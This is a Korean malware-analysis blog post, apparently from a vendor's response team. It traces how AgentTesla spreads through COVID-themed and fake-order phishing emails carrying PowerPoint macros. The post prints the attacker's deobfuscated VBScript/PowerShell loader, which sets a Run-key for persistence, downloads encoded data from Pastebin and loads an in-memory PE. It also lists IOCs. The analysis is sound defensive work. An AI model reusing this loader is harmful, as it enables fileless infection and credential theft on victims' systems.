AgentTesla 악성코드 국내에 어떻게 유포되고 있나?

올해 초부터 피싱 메일에 악성 파워포인트(*.PPT) 파일이 첨부되어 유포중인 사례가 확인되고 있다. ASEC 분석팀에서는 최근 이러한 공격 방식을 통해 AgentTesla가 최종 실행된 것을 포착하여 이에 대해 알리려한다.

해외에서는 아래 블로그처럼 해외에서도 올 1월 정보유출형 악성코드 azorult가 메일에 첨부된 PPT를 통해 유포되었다. (해외 블로그 : https://appriver.com/resources/blog/january-2020/powerpoint-malware-references-drake-lyrics-drop-lokibot-azorult)

이와 비슷한 유포 방식을 이용하여 7월에는 azorult가 아닌 AgentTesla라는 정보유출형 악성코드가 유포되었다. 이 악성코는 ASEC 분석팀에서 매주 업로드하고 있는 ‘주간 악성코드 통계’에서 확인 할 수 있듯 TOP 5안에 꾸준히 등장하는 국내에서 아주 활발히 유포 중인 악성코드이다.

해당 류의 악성코드는 아래 그림[1]과 같이 메일에 첨부되고있다.

[그림 1] – 유포 메일 1 위와 같이 ‘코로나19’로 업무 메일을 확인 할 수 없는 사람들에게 지불되었던 자금이 반송되었다는 내용으로 사용자의 확인을 유도하고 있다. 코로나19를 주제로 피싱에 이용하는 사례들이 아직까지도 여전함을 또 한번 확인 할 수 있다.

해당 PPT를 실행하면 매크로 코드가 실행되는데, 주로 Auto_Open 함수 수행 시 악성 매크로 코드가 실행되는데 반해 이번 류는 Auto_Close 함수 수행 시 악성 기능을 수행하는 코드가 동작되도록 했다. 즉 PPT 열람을 종료 하면 악의적인 코드가 실행된다. PPT 본문 내용은아무 내용도 작성되어 있지는 않다.

코드들은 아래 그림과 같이 난잡하게 변수들을 분리하여 작성하였으나 최종적으로 복호화된 코드는 mshta를 이용하여 악성 URL에 접근하는 기능이 전부이다. 이 URL 접속 시 Pastebin 서비스(Pastebin : 텍스트 스토리지 사이트로 플레인 텍스트를 저장할 수 있는 웹 애플리케이션)인 Pastebin.com으로 연동되는데 이 페이지에 제작자가 작성한 악의적인 스크립트 코드가 연결될 시에만 악성 기능을 수행한다. 같은 페이지에 리다이렉트 하더라도 악성 행위 발현이 늘 이루어 지는 것은 아니다. 그 이유는 리다이렉트 된 Pastebin.com 페이지에 공격자의 코드가 제거되어 있을 때가 있기 때문이다. 공격자는 특정 기간에 악의적인 코드를 업로드하고 나머지 기간에는 코드를 내리는 것으로 보인다.

[그림 2] – 매크로 코드 일부

행위 발현 시에는 자사 내부 분석 서비스인 Rapit 일부 화면에서 확인 할 수 있듯 아래와 같은 프로세스 트리 구조로 동작한다.

[그림 3] – 자사 Rapit 서비스에서 확인되는 프로세스 트리 구조

PPT 종료 시점에 매크로가 실행되고 hxxps://j.mp/hjd67dashdgas7ha 단축 URL주소로 접속한 후 내부 코드에 따라 스케줄 등록 및 pastebin.com으로 리다이렉트 된다. 위 프로세스 트리 구조에서 확인 할 수 있듯 80분 마다 특정 주소로 리다이렉트 되도록 하는데 이때 페이지의 소스는 아래와 같다.

[그림 4] – 리다이렉트되는 과정

해당 리다이렉트 된 코드는 현재 삭제되어 있어 아래 그림과 같이 확인 할 수 없으나 분석 당시에 발현이 되어 코드를 확인 할 수 있었다.

[그림5] – 현재는 확인되지 않는 코드 (pastebin.com)

소스에서 보이는 코드는 난독화 되어있으나 복호화 시 아래와 같은 코드를 확인 할 수 있다.

document.write(unescape("<script language="VBScript">

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"""", 0 : window.close"")", "REG_SZ"

 

CreateObject("Wscript.Shell").regwrite "HKCU\Software\iamresearcher", "$fucksecurityresearchers='contactmeEX'.replace('contactme','I');sal M $fucksecurityresearchers;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$iwannaleftsellingtools.open('GET','https://%40%40%40%40@pastebin.com/raw/2=e=6=Y=Y=y=4=X',$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split '-' |ForEach-Object {[char][byte]""0x$_""};$asciiString= $asciiChars -join ''|M;[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''https://%40%40%40%40@pastebin.com/raw/s=s=9=g=t=X=t=D'').replace(''L=(+)=J'',''y/(J)\y'').replace(''y/(J)\y'',''0x'')')) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS('MSBUILD.exe',$Cli2)" , "REG_SZ"

 

Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create( "powershell ((gp HKCU:\Software).iamresearcher)|IEX", null, objConfig, intProcessID)

'i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way
'i am not a coder ;) i watch you on twitter every day thanks :) i love my code reports!
'i am not a coder! bang ;)
self.close
</script>
"));

위 코드에서와 같이 레지스트리 RUN키를 생성하여 ‘mshta vbscript:Execute(“CreateObject(“”Wscript.Shell””).Run “”powershell ((gp HKCU:Software).iamresearcher)|IEX””, 0 : window.close”)’ 와 같은 값을 등록하고 내부의 코드를 실행한다.

등록 된 레지스트리 값에 따라 해당 코드는 Powershell을 통해 동작하는데 위 코드에서와 같이 추가 Pastebin 페이지에 접속하여 해당 데이터를 한번 더 복호화 후 최종 실행되도록 한다.

파워쉘을 통해 hxxps://pastebin.com/raw/s=s=9=g=t=X=t=D으로 추가 접속하여  확인되는 데이터는 아래와 같다.

L=(+)=J4D, L=(+)=J5A, L=(+)=J90, L=(+)=J00, L=(+)=J03, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J04, L=(+)=J00, L=(+)=J00, L=(+)=J00,

           L=(+)=JFF, L=(+)=JFF, L=(+)=J00, L=(+)=J00, L=(+)=JB8, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00,

           L=(+)=J40, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00,

           L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00,

           L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J00,

           L=(+)=J80, L=(+)=J00, L=(+)=J00, L=(+)=J00, L=(+)=J0E, L=(+)=J1F, L=(+)=JBA, L=(+)=J0E, L=(+)=J00, L=(+)=JB4, L=(+)=J09, L=(+)=JCD,

           L=(+)=J21, L=(+)=JB8, L=(+)=J01, L=(+)=J4C,

 

… (생략) …

해당 코드는 최종적으로 ‘L=(+)=J’데이터가 제거되어 ‘4D5A9000…’형태의 PE가 된다. 이때 완성된 해당 PE가 바로 정보유출형 악성코드인 AgentTesla이다. 파일리스(Fileless) 형태로 동작하여 안티바이러스 제품에 의한 탐지를 어렵도록 하고 있다.

정보유출의 기능을 발현시키기 위하여 제작자는 ‘사회공학적 유도 방법을 이용한 메일, 매크로를 포함한 PPT, 연결 된 URL에서 두번의 추가 리다이렉트 과정을 거친 pastebin 코드 실행’이라는 수 많은 과정을 수행하도록 제작하였다. 이는 핵심 코드와 C2 파악들을 어렵게 하기위한 공격자의 의도한 노력으로 보여진다.

해당 류의 악성코드는 는 위의 메일 외에도 아래와 같이 주문서 확인 요청을 위장한 메일로도 유포가 되고 있는 정황들이 확인되었다.

[그림 6] – 유포 메일 2, 3

사용자들은 메일 내용이 본인만이 알 수 있는 내용이라는 점으로 안심하여 첨부된 파일을 실행하는 것을 주의해야한다. 공격자는 사용자들을 미리 파악 후 메일 내용을 그럴듯하게 꾸며 타겟팅할 수 있기 때문이다. 확인되지 않은 메일은 반드시 주의해야하며 백신 또한 주기적인 업데이트가 필요하다.

현재 V3에서는 위와 같은 악성코드를 아래와 같이 진단 중이다.

[파일 진단]

  • Downloader/PPT.Generic.S1263
  • Trojan/Win32.AgentTesla.C3468286

[관련 IOC정보]

[C2]

  • hxxps://j.mp/hjd67dashdgas7ha
  • hxxps://pastebin.com/raw/D=0=K=c=R=H=2=D
  • hxxps://pastebin.com/raw/s=s=9=g=t=X=t=D

[HASH]

  • 7b167d121cac141d2ab8cca007fdc691
  • 8c06a9f151dd0492f515b34885f12533
0 0 vote
Article Rating
guest
0 Comments
Inline Feedbacks
View all comments